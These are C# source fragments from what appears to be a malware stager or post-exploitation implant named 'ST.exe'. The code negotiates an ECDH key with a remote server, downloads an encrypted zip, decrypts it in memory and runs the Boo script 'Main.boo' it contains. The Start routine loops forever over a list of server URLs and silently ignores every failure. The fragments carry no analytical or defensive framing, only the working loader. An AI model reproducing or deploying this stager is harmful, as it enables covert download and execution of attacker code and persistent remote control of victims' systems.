public static void Main(string[] args) { if (args.Length != 1) { Console.WriteLine("Usage: ST.exe <URL>"); Environment.Exit(1); } try { BASE_URL = new Uri(args[0]); URL = new Uri(new Uri(args[0]), GUID.ToString()); } catch { Console.WriteLine("Invalid URL?"); Environment.Exit(1); } //AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(ResolveEventHandler); #if DEBUG Console.WriteLine("[+] URL: {0}", URL); #endif byte[] key = Crypto.ECDHKeyExchange(URL); byte[] encrypted_zip = Comms.HttpGet(URL); _stage = ZipStorer.Open(new MemoryStream(Crypto.Decrypt(key, encrypted_zip)), FileAccess.ReadWrite, true); byte[] resource = Utils.GetResourceFromZip(_stage, "Main.boo"); string source = Encoding.UTF8.GetString(resource, 0, resource.Length); RunBooEngine(source); }
public static void Start(string _guid, string _psk, string[] _urls) { //AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(ResolveEventHandler); GUID = Guid.Parse(_guid); HEXPSK = _psk; PSK = Utils.Hex2Binary(_psk); URLS = _urls; #if DEBUG Console.WriteLine("[+] URLS: {0}", String.Join(",", URLS)); #endif while (true) { foreach (var url in URLS) { Uri URL; URL = new Uri(new Uri(url), GUID.ToString()); try { byte[] key = Crypto.ECDHKeyExchange(URL, PSK); byte[] encrypted_zip = Comms.HttpGet(URL); _stage = ZipStorer.Open(new MemoryStream(Crypto.Decrypt(key, encrypted_zip)), FileAccess.ReadWrite, true); byte[] resource = Utils.GetResourceFromZip(_stage, "Main.boo"); string source = Encoding.UTF8.GetString(resource, 0, resource.Length); RunBooEngine(source); } catch { } } } }
public static byte[] ECDHKeyExchange(Uri URL, string Endpoint = "") { byte[] key = default(byte[]); using (ECDiffieHellmanCng AsymAlgo = new ECDiffieHellmanCng()) { var publicKey = AsymAlgo.PublicKey.ToXmlString(); byte[] r = Comms.HttpPost(URL, Endpoint, Encoding.UTF8.GetBytes(publicKey)); ECDiffieHellmanCngPublicKey peerPublicKey = ECDiffieHellmanCngPublicKey.FromXmlString(Encoding.UTF8.GetString(r)); key = AsymAlgo.DeriveKeyMaterial(peerPublicKey); } return(key); }